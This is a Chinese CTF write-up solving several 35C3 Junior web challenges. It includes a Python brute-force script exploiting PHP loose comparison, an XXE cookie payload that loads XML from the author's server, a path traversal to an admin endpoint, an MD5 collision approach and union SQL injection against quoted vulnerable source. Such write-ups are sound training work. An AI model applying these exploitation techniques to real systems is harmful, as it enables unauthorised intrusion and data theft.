[35c3 junior] 部分web wp

本文首发在安恒的公众号:https://mp.weixin.qq.com/s/v6R3FwXhVal_jTkiMYijWw

35c3 junior 部分web wp

要期末考试了没咋做。。
然后回家了发现充电器没带。。就只做了这么点。

flags

进入题目

';

很简单双写绕过一下就好了

[35c3 junior] 部分web wp_第1张图片
image

可以看到图片的base64
解码一下


[35c3 junior] 部分web wp_第2张图片
image

签到题

凯撒加密跑一下就有了


[35c3 junior] 部分web wp_第3张图片
image

McDonald

访问之后可以在robots.txt发现有


[35c3 junior] 部分web wp_第4张图片
image

将.DS_Store里面的东西下载下来


[35c3 junior] 部分web wp_第5张图片
-w461

可以看到有个flag.txt
访问一下
[35c3 junior] 部分web wp_第6张图片
-w456

logged in

在登录的时候可以抓到一个包


image

包里面有登录的验证吗


[35c3 junior] 部分web wp_第7张图片
-w1066

在登录之后能在cookie里面找到自己的flag
(找了挺久)

saltfish

一眼就看到两个弱等于
而且$和$ua都是可控的先过第一条
md5($_) + $_[0] == md5($ua)
因为$_是个数组所以md5($_)是null获得的值其实是$
[0]
不过flag的值是不知道的最后
$_[0] == md5($_[0] . $flag)[0]只能靠暴力破解了

import requests

url = "http://35.207.89.211/?pass[]=0e"

headers = {
    'Host': '35.207.89.211',
    'User-Agent': 'QNKCDZO',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding': 'gzip, deflate',
    'Connection': 'keep-alive',
    'Upgrade-Insecure-Requests': '1',
    'Origin': 'www.ckj123.com'
}

for i in xrange(100):
    html = requests.get(url+str(i))
    if '35c3' in html.content:
        break

print html.text
[35c3 junior] 部分web wp_第8张图片
image

怎么感觉我是非预期=。=

blind

源码2333我喜欢

问了下辉神
辉神给了我一个函数SimpleXMlElement

[35c3 junior] 部分web wp_第9张图片
image

让他的data is url 为true允许加载url的xml
很明显是XXE
在自己服务器上写一个xml
cookie是这个就可以了 theme=SimpleXMlElement-http://服务器路径/1.xml-2-true
差不多的
https://mochazz.github.io/2018/07/08/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1Day3%20-%20%E5%AE%9E%E4%BE%8B%E5%8C%96%E4%BB%BB%E6%84%8F%E5%AF%B9%E8%B1%A1%E6%BC%8F%E6%B4%9E/

Not(e) accessible

入手发现只有两个功能看自己的文章和写文章

然后id和pw都是随机数
想着应该有源码泄露


image

果然在页面里面找到了之后拿到源码

 1000) {
            die("ERROR! - Text too long");
        }

        if(!preg_match("/^[a-zA-Z]+$/", $note)) {
            die("ERROR! - Text does not match /^[a-zA-Z]+$/");
        }

        $id = random_int(PHP_INT_MIN, PHP_INT_MAX);
        $pw = md5($note);
        
        # Save password so that we can check it later
        file_put_contents("./pws/$id.pw", $pw); 

        file_get_contents($BACKEND . "store/" . $id . "/" . $note);

        echo '
'; echo "

Your note ID is $id
"; echo "Your note PW is $pw

"; echo "Click here to view your note!"; echo '
'; } ?>


require 'sinatra'
set :bind, '0.0.0.0'

get '/get/:id' do
    File.read("./notes/#{params['id']}.note")
end

get '/store/:id/:note' do 
    File.write("./notes/#{params['id']}.note", params['note'])
    puts "OK"
end 

get '/admin' do
    File.read("flag.txt")
end

[35c3 junior] 部分web wp_第10张图片
image

/../../admin

[35c3 junior] 部分web wp_第11张图片
image

collier

还是没啥东西然后再看看源码
果然给了源码


image

下载下来
最主要的地方在这


[35c3 junior] 部分web wp_第12张图片
image

这个表示只能一行

一直以为是弱等于的原因感谢smi1e师傅的指点~
直接用https://github.com/cr-marcstevens/hashclash
这个的工具就可以了=。=
生成两个MD5一样的

DB Serect

英语不好吃亏呀=。=
后来才知道这道题有源码,之前都不知道该怎么下手。。
访问view-source:http://35.207.132.47/pyserver/server.py
拿到源码

可以看到很多地方都是问号拼接进去的,但是明显有个地方
不是问号拼接进去的

@app.route("/api/getprojectsadmin", methods=["POST"])
def getprojectsadmin():
    # ProjectsRequest request = ctx.bodyAsClass(ProjectsRequest.class);
    # ctx.json(paperbots.getProjectsAdmin(ctx.cookie("token"), request.sorting, request.dateOffset));
    name = request.cookies["name"]
    token = request.cookies["token"]
    user, username, email, usertype = user_by_token(token)

    json = request.get_json(force=True)
    offset = json["offset"]
    sorting = json["sorting"]

    if name != "admin":
        raise Exception("InvalidUserName")

    sortings = {
        "newest": "created DESC",
        "oldest": "created ASC",
        "lastmodified": "lastModified DESC"
    }
    sql_sorting = sortings[sorting]

    if not offset:
        offset = datetime.datetime.now()

    return jsonify_projects(query_db(
        "SELECT code, userName, title, public, type, lastModified, created, content FROM projects WHERE created < '{}' "
        "ORDER BY {} LIMIT 10".format(offset, sql_sorting), one=False), username, "admin")

首先登陆admin


image

构造一个这样的json


image

找一找自己要注入的数据放在那里
[35c3 junior] 部分web wp_第13张图片
-w909

可以看到他在secrets表的secret字段里面


[35c3 junior] 部分web wp_第14张图片
-w343

就是一个很简单的union注入
[35c3 junior] 部分web wp_第15张图片
image

你可能感兴趣的:([35c3 junior] 部分web wp)